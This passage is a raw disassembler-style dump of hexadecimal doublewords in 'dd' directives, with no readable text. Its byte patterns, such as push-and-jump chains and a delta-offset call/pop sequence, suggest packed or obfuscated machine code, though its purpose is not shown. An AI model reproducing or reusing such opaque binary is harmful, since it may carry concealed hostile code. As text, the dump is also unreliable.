366AC083h, 12DBE926h dd 30680000h, 0E906549Ch, 0FFF9E561h, 549D0768h, 0E557E906h dd 0ED68FFF9h, 0E906549Dh, 0FFF9E54Dh, 549F3B68h, 0E543E906h dd 0ED68FFF9h, 0E906549Fh, 0FFF9E539h, 54A08368h, 0E52FE906h dd 1E68FFF9h, 0E90654A1h, 0FFF9E525h, 54A1E968h, 0E51BE906h dd 7868FFF9h, 0E90654A2h, 0FFF9E511h, 54A41668h, 0E507E906h dd 868FFF9h, 0E90654A5h, 0FFF9E4FDh, 54A6D468h, 0E4F3E906h dd 0ED68FFF9h, 0E90654A7h, 0FFF9E4E9h, 54A9B568h, 0E4DFE906h dd 0C068FFF9h, 0E90654AAh, 0FFF9E4D5h, 33B02C37h, 43C03C45h dd 56D30955h, 63E01C68h, 77F4E875h, 2835FD26h, 394937B4h dd 95846C3h, 186856D3h, 0C78E67E4h, 0D29C86F1h, 0E6AD88B7h dd 9C2E491Fh, 19E0B7D2h, 0D29C3443h, 0D65CE2B7h, 0B6A4BA45h dd 0B3A132AAh, 9F8D2FADh, 269E1BD1h, 0E5D39A72h, 7CE5F9Dh dd 74C50731h, 610389B4h, 0D909E88Bh, 62B39CB7h, 300A8045h dd 715E51h, 0D0970000h, 0B65894E2h, 111D5A30h, 3F1B7D9h dd 57DD7F7Dh, 0F3B540D1h, 0CAA06741h, 0B474D10Ah, 0ABE1A362h dd 34EB011Bh, 0F1B83EA3h, 0EA8D632Ah, 2CB7D8A2h, 0A2A7D0A6h dd 0E167B7D8h, 20E7AE50h, 0D8A22D4Ah, 0CA5BE1B7h, 0D8A27FF4h dd 157F06B7h, 6CF29448h, 85644E6h, 755E32D4h, 10F9E824h dd 9023A2BFh, 0ECDA512Fh, 42C86A62h, 0D4C9B1h, 7D3E0000h dd 6553F5F7h, 81E4AB18h, 98F385BEh, 0F2827012h, 0D29158FAh dd 0F7837D69h, 0FBE97AB2h, 24FA7775h, 0BE269958h, 6E35B7BDh dd 69FAF280h, 7676FEECh, 8E4E0DD4h, 53C366D3h, 3769E172h dd 4BEDEF75h, 0A2783FC5h, 0B4740C1Ah, 0E5DEA694h, 0C14DE7A7h dd 48CE547Eh, 0C72153CBh, 87451200h, 0DB592FF6h, 0B5AE27DAh dd 0EB7A682Fh, 0D29960F1h, 0CC5D9FE4h, 0DE5B91DEh, 32C67F0h dd 78FFD5E8h, 96BE0929h, 4505110h, 8A915DE3h, 2142B70Eh dd 10372A7Fh, 0A2AD0000h, 0B2BFAD2Ah, 87CFBD3Ah, 8EDAC845h dd 9AE3D14Eh, 8F94E562h, 0A522DAA3h, 0B431ABB7h, 0C03DBFC6h dd 0CD4A82D2h, 20572DF4h, 0EEB7D29Ah, 0F07D8813h, 0C3917FFCh dd 0DE370ED0h, 0E66C07B9h, 41F3DE69h, 0DA7C70FFh, 4007CE54h dd 27360D6Ah, 0EA7B01BEh, 0D0874D23h, 8309B474h, 1D680BE1h dd 331CB7D9h, 0B00C5E2h, 11FF5130h, 5FE58745h, 0BEE6CEh dd 7D5B0000h, 6553F5F7h, 7B42E418h, 7708C48Dh, 272ADBA1h dd 0C8044CBEh, 0D5175D4Bh, 0C799BB33h, 0F7BE44B8h, 74C59B21h dd 0C88F15B4h, 2030DA09h, 0CE5FD8D6h, 4DA7D951h, 0CA93B086h dd 0F57BAE27h, 0EA79672Eh, 0EA7361F2h, 0C0AE75F2h, 837C3BB1h dd 5AC2DDFFh, 65F2E071h, 0A29E9B67h, 7F2142B6h, 0F602Ah dd 3F98400h, 11CB9886h, 24D8A694h, 2DAFB9A7h, 37B5C2B0h dd 78BA69BAh, 8270EDEFh, 917FFCF0h, 9F8D0AC2h, 0C59E1BD1h dd 994F28FEh, 0E4BFB7D2h, 8CE5A459h, 0B22A3750h, 0F3CB8A10h dd 87750621h, 0ECE96FEh, 3E02C188h, 4E656E1Dh, 196E1B7h dd 0F278BE27h, 705EDB6Ch, 0E46FECE0h, 53F5F77Dh, 60DD1F65h dd 0D1A7E472h, 0BE2736A6h, 0BA5CE268h, 0CB4884CCh, 8E4E1604h dd 0F6290FDh, 0FA9C5021h, 0C96BE374h, 5C2A18DFh, 7403D9A0h dd 0A2BE2736h, 0EEC48B1Ch, 0B4752A86h, 0B02C3826h, 92F7880Eh dd 0A9CBA10Ch, 548062C1h, 2B01C820h, 0C2B0F6C9h, 0A71FC147h dd 8D541BF5h, 8516D69Fh, 0EF7EE5AFh, 1EE56BBCh, 0E5AC2030h dd 52EF2A26h, 0E702ECEAh, 15D151Ah, 1C992AB0h, 0DAA6262Eh dd 347405E7h, 7A5FB456h, 6A00000Eh, 7260DD1Fh, 806EEBE1h dd 8B79F6F6h, 0A08E0BC1h, 479815D7h, 0D30956DCh, 0E21A6856h dd 0F4E87765h, 1FB8977h, 0EE4AB84h, 0B7D29969h, 7D47D2ADh dd 6F2EF5F7h, 20C10067h, 0E0821354h, 15DC3468h, 74EEB13Fh dd 430FFDB4h, 0D93F889h, 53641890h, 0DA51D487h, 0DCA32922h dd 2670E206h, 2CCE54AEh, 26BD1D56h, 0D9A067BEh, 26BD7403h dd 8B1CA2BEh, 913451A2h, 4B577DAAh, 4Dh, 12CA9684h, 0E5A4F681h dd 0E53E74B4h, 0EF67F898h, 0C69C634Dh, 0B473EADDh, 1604CB51h dd 3A108D4Fh, 0B7D8823Fh, 0DE893A4Ah, 55C1C71h, 0B98047CDh dd 0D8E794E3h, 0CA9482B7h, 0B1CD8C12h, 1B694B40h, 0C0AE2BBCh dd 44993BB1h, 0DB1h, 6741F3B9h, 50E0CAA0h, 8B52B47Ah, 3CEBA4CCh dd 0E0B6C123h, 0B7D30B97h, 0A46BF177h, 0B12EAEB6h, 9D3FBDC3h dd 82587325h, 0B7D30BF5h, 4D49319h, 69A2CC40h, 5026ED73h dd 0AE2625B7h, 0BF3D4735h, 660AC92Eh, 5372965Bh, 4F8DD5C3h dd 4D3B02C9h, 4D3BCC00h, 10FEC507h, 64EA8C40h, 186856D3h dd 0D9E1FFABh, 493795FCh, 971DBF3Dh, 45F76F11h, 0BECEA46Bh dd 50B473CDh, 7C15FECAh, 0CE7048E7h, 0D2C79h, 2FADB800h dd 3DBFC4B2h, 4884D2C0h, 5993DDCBh, 6B61EEDCh, 0AC869DEEh dd 0BEAC29A3h, 0CDBB38B4h, 0DBC94686h, 1DA5795h, 9713643Ah dd 2803B7D2h, 36DE959Dh, 7B1DBE27h, 36FD7A50h, 1EB7BE27h dd 5947785Ch, 59DF65CAh, 0CA19D392h, 0C5B862E3h, 0B8A66D34h dd 0CCA233A9h, 0B479AF33h, 17D69D23h, 0D8577E05h, 3CA5B83h dd 64004E3Ch, 0C657DD1Fh, 0D75488D8h, 0BF619BE9h, 0BC821547h dd 0A07FF0E3h, 3397A9D9h, 48A6687h, 88E4E16h, 0DDB37A41h dd 0B7D3089Ah, 8F65F67Ch, 0AE20F961h, 6ACB8E4Dh, 0FC40A921h dd 0B480066Bh dd 42B322D5h, 7A257A1Ch, 6A00000Ch, 7260DD1Fh, 806EEBE1h dd 8B79F6F6h, 0A08E0BC1h, 479815D7h, 0D30956DCh, 0E21A6856h dd 0F4E87765h, 1FB8977h, 0EE4AB84h, 0B7D29769h, 7D47D2ADh dd 6553F5F7h, 0EFED751Fh, 9F41C74Dh, 8527A5B1h, 7214C897h dd 36A2D5ABh, 0EE74BE27h, 2965B69Fh, 2643947Dh, 577E379Fh dd 7023Dh, 41F3B200h, 22CAA067h, 0DCB47A51h, 0D3A18F56h dd 0A6AE9C19h, 0CFBD8426h, 23A94B81h, 9DB7BC92h, 1044B7D2h dd 0D51BF1B8h, 43AE208Dh, 391CF1BDh, 0AD4F42B3h, 0BE458h dd 77750000h, 85470CFAh, 904C1A08h, 0A15B2513h, 0B3293624h dd 0F43EE536h, 6F4716Bh, 1503807Ch, 23118E4Eh, 49229F5Dh dd 96CBAC82h, 704BB7D2h, 0F5F77DE5h, 0B636402Eh, 0CF958325h dd 0A97F460Dh, 0BE2736CEh, 8729BA40h, 84A1F2DBh, 577E3841h dd 6769Bh, 99E6D400h, 9547D263h, 0BE2736DEh, 0CA917B1Dh dd 7A50B8F4h, 0F9C046B4h, 0C087450Bh, 0A84A82D2h, 26149122h dd 84FC9E5Eh, 6A31F8D0h, 9DAACDA3h, 0E66CB7D2h, 8E717F55h dd 199FAE20h, 0B339824Dh, 0AAFFA142h, 0B49h, 9F1CD09Bh dd 0AF2CA0B1h, 0BA37B5C1h, 0CF4C80CCh, 0DB5894E1h, 0CC99998Ah dd 0DDA59310h, 0ADB4A21Fh, 0BCC4B22Fh, 23EAC340h, 0D2952A4Dh dd 8611ECB7h, 0C5BCF77Dh, 36411739h, 0D8BE2692h, 0CB5E9352h dd 9B892BB1h, 0C97517D5h, 53728FE0h, 0AA577E03h, 0FBDFD0EBh dd 80BC7B71h, 1D5A304Ah, 0F1BE2684h, 6C54E56Bh, 5C7h, 6741F3E1h dd 0DC1AD9A0h, 0EACA20CBh, 0B9BE945Bh, 5DBE270Ch, 657046D7h dd 0E1B47A27h, 0DEA6945Bh, 0BA90571Eh, 0B7D283BDh, 0BD3ACB51h dd 893837F6h, 0EA6F7B82h, 0E7E56B59h, 0C1907E45h, 52E3690Bh dd 0D322F77Ch, 0BAC7B5B7h, 891AA042h, 0BE856F11h, 211308E8h dd 0A470F6AEh, 42B2BDE3h, 7EF74CEEh, 6600000Ah, 7664E11Bh dd 8472EFEDh, 978502FAh, 0A4920FCDh, 53A421DBh, 0D71562D0h dd 0E6E66C5Ah, 0F8F47B69h, 5C78D7Bh, 12E8AF88h, 0B7D29565h dd 7D43CEA9h, 6553F5F7h, 8F3BDD1Fh, 8D3855A6h, 4F577E37h dd 51Fh, 36E395C4h, 7E22BE27h, 0C9F9CF96h, 0D9B47A50h dd 0C96B61EBh, 0C74DB243h, 8A421200h, 9B511F0Dh, 956B32F9h dd 0B7D29DE2h, 0A51DAE34h, 7C5219F3h, 0AE209600h, 265127EEh dd 0E8BE0C98h, 5910DC62h, 5042B341h, 9EF59AEh, 6AF50000h dd 7A07F572h, 4F170582h, 5622108Dh, 222B1996h, 47DC2DAAh dd 0ED6A62EBh, 0FC7973FFh, 885470Eh, 15924A1Ah, 0D89F753Ch dd 36B7D294h, 0DDA4D05Bh, 27367007h, 51189EBEh, 2736FC7Bh dd 3941ABEh, 0EB8D4F15h, 0D37577FDh, 85CFBD84h, 0D65C90DFh dd 341DAE34h, 0EE7866E3h, 35C64CEEh, 46C33947h, 7E23E6DFh dd 7C521957h, 0BE272AFBh, 1C04951Bh, 16Fh, 0F5F77D91h dd 0DD1F6553h, 23B4E860h, 0B94F05Ah, 51189E9Ah, 3D322F92h dd 3E21F2CBh, 37B02C1Eh, 632ABB41h, 7484AB8Dh, 45E76DB4h dd 96E1B77Eh, 78B7D8CAh, 0E88B61F2h, 9CB7D8CAh, 3F380ED5h dd 0CFB7D8CAh, 0F1B8D710h, 0C248CEBDh, 0B25225FBh, 3EC4B7D8h dd 5673C4ADh, 512FB36Fh, 456Dh, 41F3E200h, 0EBD9A067h dd 42C86A62h, 0D0F9DBB1h, 0D097B474h, 0D91D7DFAh, 850B91B7h dd 4445FFBEh, 0CD804277h, 0AFC49A3Ch, 0D5B7D864h, 477E9BECh dd 0B6512F52h, 585E19EFh, 5927B7D8h, 27B83EA3h, 0BC3Fh dd 0F77DB400h, 186553F5h, 5AFCF07Ch, 40370DD4h, 0CEBE2736h dd 34FBC248h, 2736195Eh, 0E677FDBEh, 950E5644h, 505FB915h dd 0BB5DE3B6h, 0C84587CDh, 7E354201h, 0E1148F87h, 26B76C0Bh dd 9E24AABEh, 4035370Dh, 3242BE26h, 45CB0152h, 0C42C50C8h dd 279E27FDh, 0F7B6B476h, 94DEDFCBh, 3C699958h, 30B61BACh dd 34E3A269h, 6579BE72h, 0F5F77E6Ch, 0F3E97664h, 0FDFF8876h dd 0E9528431h, 70C56748h, 851h, 9714C893h, 0A724D8A9h dd 0B22FADB9h, 0C744B8C4h, 0D3508CD9h, 0C491A182h, 0D59D8B08h dd 0A5AC9A17h, 0B4BCAA27h, 1BE2BB38h, 0D2923245h, 7E09E4B7h dd 7FFCF07Dh, 8C09C391h, 0F5F77D01h, 0DD1F6553h, 2F10B60h dd 0F3800000h, 27502641h, 0E7BE2736h, 3E14DB61h, 0B4752CC6h dd 6C0BE1A8h, 0AAB7D931h, 26FC9E24h, 0B7D9314Dh, 0E0FD4E37h dd 51301EE5h, 290F7h, 0D9956C00h, 0D1BE2736h, 0BD5F9DE3h dd 0A2EA637h, 0AF05DBA2h, 61B47A50h, 0C85514DBh, 0BF9312A1h dd 0DCCA9122h, 0A3915894h, 0DDE8E4DFh, 98FE0D10h, 59EA7012h dd 6666EEDCh, 0E4A7B19Fh, 0D2D2690Eh, 0A127ADB7h, 0C18B79FFh dd 11D87A0Bh, 0FEA05C23h, 0E7894310h, 0D24ADB61h, 482F05AEh dd 0C6B7D2D2h, 0D4A37940h, 42B7D2D2h, 996F36BCh, 0AE20CAE3h dd 0E88B57DDh, 0B742B305h, 75FC015h, 0FA850000h, 0CA978502h dd 0DFA79512h, 0A6B2A01Dh, 0B2BBA926h, 0B76CBD3Ah, 7DFAF27Bh dd 8C09C38Fh, 9815D79Eh, 0A522DAAAh, 482F05CCh, 0C6B7D291h dd 0F77D60EBh, 34402EF5h, 0FF9016B8h, 0DFA8965Dh, 7F57B1Dh dd 0EE7F7Dh, 12653B70h, 4BE2736h, 89B8BF7Eh, 0A2BB13F2h dd 422B7A1Ch, 0C5074DF1h, 166137FEh, 6FBE2671h, 0BE44E6E6h dd 0C542D359h, 0B0613FFEh, 2DB5FA9Bh, 2390359Ch, 924E577Eh dd 87000001h, 7012CA99h, 7DCE59EAh, 8C53F5F7h, 3688EFC5h dd 0BF86BE27h, 27368EE9h, 74FA80BEh, 6D6FF5E3h, 0ECC478F0h dd 0C4E94F25h, 7E45B474h, 0D909CFA8h, 33A9B6B7h, 5597E0CEh dd 0E0A72DB3h, 0D9096D0Ah, 8A1BA1B7h, 27FD9F25h, 0B7D9094Ch dd 0D4AA7138h, 0B7D909A3h, 93C3B11h, 54DAB7D9h, 0EFD869EFh dd 845A219Eh, 0B7D909F3h, 0AF14C89Ah, 96512E8h, 23A9B7D9h dd 20A50C9Dh, 0DF51300Bh, 45AF420h, 6120008Dh, 0A812B6D8h dd 745CED88h, 3Ah, 27E5A4E9h, 70A5CD3Bh, 0CD6FE778h, 8E461CE3h dd 40B47440h, 6D2CF3BAh, 0F7981742h, 13643ACBh, 3B7D882h dd 744AEC7Dh, 0B7D882FFh, 2E4B9C85h, 512F6F97h, 0BA45h dd 0E5A4BA00h, 68353FBFh, 0F17D6B9Ch, 0F47C6AFBh, 1F6856F8h dd 74D3BDDh, 6E5C23C5h, 0BF45E7E5h, 0BC30402Eh, 0A433693Fh dd 1C64BE25h, 125A19E0h, 0C027EAF0h, 9D23D9A6h, 367700D6h dd 1197BE27h, 0E98B0380h, 3A4A38FFh, 99A20C2h, 7C596C42h dd 6553B476h, 803FE11Bh, 0AB27DFD5h, 0EF8006F9h, 16D69C8Ah dd 7C79B574h, 9B809843h, 0DAC88F15h, 0E4D24F8Dh, 0FC95619Bh dd 0B748E98Ch, 593C015h, 6510000h, 165B49C6h, 0E36B59D6h dd 0F27E6CE9h, 0C68F7DFAh, 0EB388906h, 41BE3E47h, 50CD0F53h dd 5CD91362h, 69E6E66Eh, 84F3C990h, 92B7D290h, 0F07D2CB7h dd 0C3917FFCh, 7D018C09h, 6553F5F7h, 0B60DD1Fh, 33h, 53E5A480h dd 0DE38A9ABh, 7C58D7Bh, 4F88876h, 0F0EC7462h, 0B5373B29h dd 0CC948224h, 0F6806E10h, 0EDD654F6h, 0A38C609Ch, 26A6AE52h dd 1254A9h, 7DC90000h, 7D53F5F7h, 0BE2736F7h, 0BF63B49Dh dd 33BE3BB1h, 0B0BCF77Dh, 19100814h, 0B2791BA1h, 0A23087F3h dd 505D1CD0h, 0DA52E347h, 0B1874EA6h, 0B47A27F9h, 200ED55Bh dd 581F9C50h, 41E3196Ah, 343C2ABBh, 0FA9E16B8h, 981EDEAAh dd 9E0CFBD1h, 0C988AE25h, 0D31DBCDFh, 2C4B213Ch, 0EABE271Eh dd 4117DE64h, 0BE271E36h, 5CC152D8h, 46E8E46Eh, 4983D2C0h dd 0D49B21A7h, 975E9EE6h, 9021DBA9h, 9D5F2513h, 0BED183FBh dd 92F2D0BAh, 0D69D2371h, 742E8C00h, 703CC2B4h dd 48E760E1h, 7A91E688h, 6A000004h, 7260DD1Fh, 806EEBE1h dd 8B79F6F6h, 0A08E0BC1h, 479815D7h, 0D30956DCh, 0E21A6856h dd 0F4E87765h, 1FB8977h, 0EE4AB84h, 0B7D28F69h, 7D47D2ADh dd 8A78F5F7h, 11CB9AFAh, 3422E98Bh, 3220B12Bh, 0B9334222h dd 690B9117h, 63E0311Ah, 0FFEDEF75h, 0F6E47577h, 8AF16E6Eh dd 577E243Bh, 4BA1h, 0E5A41600h, 397CA676h, 0A31BAC16h dd 7A5017F1h, 0B4748529h, 19D89F25h, 0C4791963h, 0F7BE4FC6h dd 5827A09h, 0D8694A2Fh, 0BF3D43B7h, 670D5442h, 0ACCBA11Ah dd 6AB7D869h, 36D85EE4h, 0A5D2A86Fh, 69B7D869h, 0CEFD52E3h dd 72000003h, 53F5F77Dh, 60DD1F65h, 955CB4E8h, 74C579BFh dd 0EF9117B4h, 0AE2E3A28h, 0AA3BB1C0h, 0D9099FD4h, 0ABFCE5B7h dd 300B378Eh, 0AB07C651h, 46C2CDBAh, 50D8C051h, 4D000000h dd 5F2641F3h, 2736EE89h, 0C49A20BEh, 0BE2736B3h, 9057DD63h dd 74D11ABAh, 0F79352B4h, 0C58D016Dh, 77601D7h, 1298B7D9h dd 0CF96FB8Ch, 0D9077EF9h, 4B0A90B7h, 0F4EC93D2h, 5DFF85CBh dd 0D882EC87h, 5EAF98B7h, 2F6F8441h, 0DF5A51h, 7DCF0000h dd 6553F5F7h, 7B42E418h, 0F282BABCh, 1FDE4257h, 0D171C777h dd 0E5D364E4h, 6F6DF59Fh, 0B5947E9h, 541C0AD1h, 7CFBD198h dd 9ABE26E7h, 30068314h, 0BE26DB4Ch, 344319E0h, 0E2BE26EAh dd 0EBE16E5Ch, 4432C349h, 7C43C03Ch, 0D79EC68Eh, 67ED7315h dd 0C0AE3FC5h, 229A3CB0h, 0E1CF967Eh, 32B85A92h, 7004DAA1h dd 9EB4747Ah, 71239B18h, 11FAD097h, 2DAE27F5h, 2B19E0A7h dd 7F05A725h, 0D7700EEh, 83008646h, 4814C895h, 42B768C3h dd 0B25FB456h, 32000002h, 3A28A527h, 4836B329h, 5341BE3Eh dd 6856D309h, 0F60DD1Fh, 9B511E14h, 0AA22301Eh, 0BC303F2Dh dd 0C903513Fh, 0D6AC734Ch, 0B7D28DA1h, 7D0F9A75h, 917FFCF0h dd 0C58C09C3h, 364F28FEh, 0CB65BE27h, 720315Fh, 37C84EB3h dd 6741F3ACh, 2CA0B2A0h, 4E0DD49Bh, 83CF0DE6h, 0EF1C8A49h dd 0A2320899h, 2CB4743Bh, 452E04A6h, 3FB7D8AAh, 0DDE80556h dd 0FF512F97h, 0CBh, 0F5F77D74h, 0E4186553h, 0C18D7B42h dd 52E3690Bh, 272B007Ch, 0DD1F65BEh, 0EAE27260h, 44ACD048h dd 106ABE7Dh, 0ED8F4D13h, 3F60A867h, 0F5BDBA90h, 0CB51BE26h dd 17EDB445h, 0B474855Dh, 0E9B02DB3h, 78F8842Ah, 0BE948A5Ch dd 0B7D842B9h, 0C051D75Dh, 0F5BC1448h, 421F582Eh, 9395B7D8h dd 9097E97Ah, 22B3399Eh, 8CA7855Bh, 9259AE27h, 8F0BBBCh dd 4FD55BBEh, 0FCD9A88h, 94DDCB92h, 4230B658h, 3D2BBC30h dd 75F0BC30h, 0F442B6E9h, 1A7FD52h, 323D0000h, 24F3DBAh dd 175F4DCAh, 1E6A58D5h, 0EA7361DEh, 0FF2475F2h, 35B22A33h dd 44C13B47h, 50CD0F56h, 5DDA1262h, 90E7BD84h, 7EB7D28Ch dd 0F07D18A3h, 0C3917FFCh, 7D018C09h, 6553F5F7h, 0F3E9751Fh dd 7202F06Dh, 5DB38F41h, 50D63747h, 1BD19B89h, 0C062F379h dd 0F5BC1448h, 7440011Fh, 96DFCDB4h, 0DA60C556h, 80D1BA38h dd 63F094DCh, 9F66E369h, 8B0F0E0h, 1EAF7F46h, 531AF2A6h dd 25EB877Dh, 0ECAA69AEh, 5597E125h, 626E2DB3h, 0CB6DF30Eh dd 0B35597DDh, 77A5F6DFh, 4E24EBC5h, 0B4745AB6h, 0CE951298h dd 0B65894E0h, 0A3B19F30h, 0CA998729h, 0AE844B12h, 0B7D8E7C9h dd 9436C74Dh, 38DC2D16h, 87044C28h, 0D8E7C6B1h, 3CC248B7h dd 26A6AC9Ah, 0F278FE84h, 2ABB6C2Bh, 0EE3E9F15h, 3468E05Dh dd 0E13F15DCh, 4FAE2642h, 52D81461h, 532AE9B0h, 3EA925h dd 6EF6E475h, 91DECC6Eh, 0E233441Ah, 5DE3BE26h, 3D4735D7h dd 0B69F1DBFh, 0E4AB2965h, 451F2F25h, 0AE3F55ACh, 9F774C5h dd 5CE28478h, 5BECE06Eh, 9057B1E3h, 8B1CD0A2h, 9A32EEC4h dd 9E24B474h, 1DF7A921h, 23228056h, 8E14AE2Ch, 7676FEECh dd 1F450BF9h, 4C139953h, 82C8AF85h, 0C046BE0Ch, 74B78D2Fh dd 9B5E2DBBh, 0B7BD61B2h, 32F1B835h, 1C63A43Ah, 0F26621E0h dd 5993DFCDh, 0B2A031B7h, 0C1882AA2h, 0AE508CD3h, 0DFA99728h dd 14FD7B1Dh, 33511FC3h, 6027AD2Fh, 5BECE072h, 6C60F0DEh dd 0B75CAh, 0C0AE0000h, 34D3BB1h, 1FAD38C9h, 0FAF27D94h dd 0E21A6A58h, 0C9035240h, 0B3293927h, 0A25A2311h, 87451200h dd 6F6DF7E5h, 5597DFCDh, 40BCC5B3h, 8951129Eh, 4C181E1h dd 83000000h, 0C8704E9h, 24248B24h, 20B468h, 24048900h dd 8904EC83h, 6857241Ch, 2C441387h, 4E7C15Fh, 0A2CAF781h dd 8953C215h, 5BD889FBh, 1C8B545Fh, 4C48124h, 81000000h dd 4ECh, 24048900h, 0FF08438Fh, 835B2434h, 48B04C4h, 0E3895324h dd 4C381h, 0C3830000h, 241C8704h, 0D297E95Ch, 0A35FFFF9h dd 55242BBAh, 0AC8CB89Fh, 0C5030654h, 0F4AAE0FFh, 996E2D32h dd 9CA66BCh, 85D24AC3h, 0EC8332A4h, 907208D1h, 0C8870F90h dd 0DEB03B16h, 0EEA72A52h, 5C920A05h, 78D72B2Ch, 6D336148h dd 0F4064122h, 62E91607h, 6E3A3411h, 7CDB1812h, 32D86792h dd 0A9685C13h, 63121FFAh, 0FCD32BFDh, 3FED6918h, 1EFE5FE4h dd 90E33F0Dh, 626057F8h, 7B2273D7h, 2A756284h, 4139550Ch dd 0C7832422h, 41A35434h, 3C7E3785h, 0F80B399Ah, 760C0C87h dd 5FE969AAh, 52000001h, 0E860D48Bh, 0 dd 96ED815Dh, 8B0654ADh, 453D0842h, 0F782638h, 13885h dd 0C428B00h, 0D3184A8Bh, 13E6BBC8h, 0C33390BFh, 8904E883h dd 4E2B0585h, 4588B06h, 428BF88Bh, 184A8B10h, 38BEC8D3h dd 33BB4C80h, 83C72BC6h, 0E883FCE0h, 65858904h, 8B064E2Bh dd 85891442h, 64E065Dh, 5318428Bh, 0B0E9h, 0FDB5FF00h dd 0E9064E10h, 0B9h, 1655B5FFh, 0AEE9064Eh, 0FF000000h dd 4E19D1B5h, 0A3E906h, 0B5FF0000h, 64E2F79h, 98E9h, 15B5FF00h dd 0E9064E0Bh, 8Dh, 1835B5FFh, 82E9064Eh, 0FF000000h, 4E20F1B5h dd 77E906h, 0B5FF0000h, 64E1185h, 6CE9h, 29B5FF00h, 0E9064E1Ah dd 61h, 0EE5B5FFh, 56E9064Eh, 0FF000000h, 4E162DB5h, 4BE906h dd 0B5FF0000h, 64E064Dh, 40E9h, 2DB5FF00h, 0E9064E17h dd 35h, 2899B5FFh, 2AE9064Eh, 0FF000000h, 4E0595B5h, 1FE906h dd 0B5FF0000h, 64E26F5h, 14E9h, 0B8D88B00h, 0Bh, 8DE3F766h dd 54ADF78Dh, 0FFC80306h, 9995FFE1h, 5B064E0Fh, 2B05858Bh dd 5839064Eh, 0F850F04h, 53000000h, 95FF016Ah, 64E1A59h dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh dd 64E2F4Dh, 0AEE58D8Dh, 41890654h, 8DC38B01h, 54AF978Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 559D3328h, 89064E0Ah, 4E2B058Dh, 75850906h dd 0C7064E2Dh, 4E2B6585h, 65D406h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 2BDBCBC5h dd 85C7B627h, 64E065Dh, 0 dd 10E9h, 135E8F00h, 30A67613h, 0C9DCEDAh, 0CC2F8C8Dh dd 55B5FF78h, 66064E16h, 95FFD78Bh, 64E0F99h, 2279958Bh dd 6A064Eh, 1A5995FFh, 0C08B064Eh, 97C338EBh, 0A9AD9C75h dd 3F44B17Eh, 5B445DFEh, 0BDD0718Dh, 0C9000D9Bh, 3F85827Fh dd 9F86B349h, 7D95BAADh, 0BD588FD5h, 0A58BA6D3h, 0A770987Bh dd 0F4C3ED2h, 7C87AE38h, 12E89533h, 0B4000000h, 8ED918ACh dd 1845A44Ah, 2FDB7FD8h, 912617A5h, 5EFA8B88h, 0B5858B51h dd 5A064E0Dh, 61C3C681h, 11E80000h, 40000000h, 83824576h dd 49288622h, 0F9DE9706h, 0F5913D68h, 0BB5Ah, 0C8B0000h dd 68D0F1Eh, 81000000h, 2FB8A6F7h, 23E98131h, 315C5C89h dd 4E043DBDh, 20C18106h, 805DA3E2h, 0C18125F4h, 2A0662FBh dd 5132F280h, 8FD0B70Fh, 880F1E04h, 19h, 14E9h, 512A0900h dd 0E0BA5623h, 0A4109C62h, 0D28DA20Bh, 0ED49311Ch, 8E90Ch dd 37BC0000h, 0D5BFE32Bh, 0EB832949h, 0B9BD8B01h, 4B064E29h dd 11E94B4Bh, 20000000h, 0A88CF8EAh, 0EB819151h, 0CCF69BB0h dd 9A49C411h, 9F0CFB81h, 850FFFFFh, 0FFFFFF72h, 1191958Bh dd 8D8D064Eh, 654B16Ch, 68F0Fh, 858B0000h, 64E0DCDh, 8D1858Bh dd 8D89064Eh, 64E2B05h, 0E3D1D881h, 85C707EAh, 64E2B65h dd 5B00h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 70C35545h, 7CF1FF37h, 8ABEE681h, 85C70FE9h, 64E065Dh dd 0 dd 1315858Bh, 0B5FF064Eh, 64E1185h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 5C35242h, 6052FCD7h, 5250EA80h dd 14E9h, 0FE0BD00h, 45D9318Ch, 3E87D03Bh, 9120E2Fh, 0C00C5A17h dd 0B2615B48h, 0FFFCB28Bh, 4E0F9995h, 0B58D2906h, 6A064E02h dd 5995FF00h, 8B064E1Ah, 464EEBC0h, 4AEBB3FCh, 0D4FD301Fh dd 61626FD3h, 1F1BFD21h, 3817A79Bh, 74F779E6h, 14BAA2C6h dd 0B789D0FDh, 2997871Fh, 35248B97h, 2CA27822h, 94CE339Fh dd 0FF6158F3h, 458A38FBh, 0D3C4736Eh, 0E9823B5Fh, 0BC149BDEh dd 0AF3D4616h, 815A0A04h, 8EB9Eh, 61000000h, 0E9422561h dd 4D2h, 54B2D368h, 0CDB7E906h, 4968FFF9h, 0E90654B3h dd 0FFF9CDADh, 54B4C268h, 0CDA3E906h, 1E69FFF9h, 0EE7361DEh dd 0FB8371EEh, 0CA968401h, 0DEA79512h, 0D350A11Eh, 59D6165Fh dd 68E5E76Bh, 74F1EB7Ah, 81FEFE86h, 6C0BE1A8h, 0AAB7D285h dd 0F07D44CFh, 0E46C5AFCh, 75FBF180h, 0F4DC80F8h, 0C0C5572Dh dd 0F57BB474h, 0DF67D53h, 0A58EB7D9h, 5110D754h, 0BC0902Ah dd 37401643h, 75B7D8E9h, 0D8E9D89Fh, 4BB036B7h, 0F8CD34C5h dd 0E6512FD6h, 2FAh, 0CFD1FE5Bh, 0A67C43ADh, 0B4752ACEh dd 6666F0DEh, 7FEA70D5h, 0FF8853A9h, 0AE063AB6h, 2D4A20E7h dd 0E1C2FBD4h, 2D03CA5Bh, 0B9496AB7h, 5D1AF0B7h, 0B1C0C1EFh dd 0EF6314EAh, 2DB3C0C1h, 2BB116A7h, 0EEEE7664h, 9335C64Ch dd 0C88F791Bh, 0FA9E9F2h, 0DDA665B7h, 6F67173Dh, 346DEBAAh dd 9BB698C7h, 10604E15h, 0E3715FDCh, 0D2C01DE9h, 61033DC3h dd 32E0Ch, 0C7055000h, 0D5175C4Ah, 0E01C6A58h, 0F1EB7563h dd 3F98674h, 44EE3586h, 5644C13Bh, 6553D00Ch, 7361DE1Eh dd 9972EFEDh, 847BFCD2h, 0C09BB7D2h, 6741F335h, 78EACAA0h dd 1EA4B47Ah, 0D2A29057h, 0A127A5B2h, 97552210h, 5B91E2D0h dd 8A7433B9h, 0ACBD243h, 5E4CC95Ah, 6339DB11h, 0B7D2D113h dd 0CE98FC84h, 7E20DCA6h, 20EC72F8h, 3C4454CDh, 0B8055AFCh dd 0C6000002h, 0D6C441BBh, 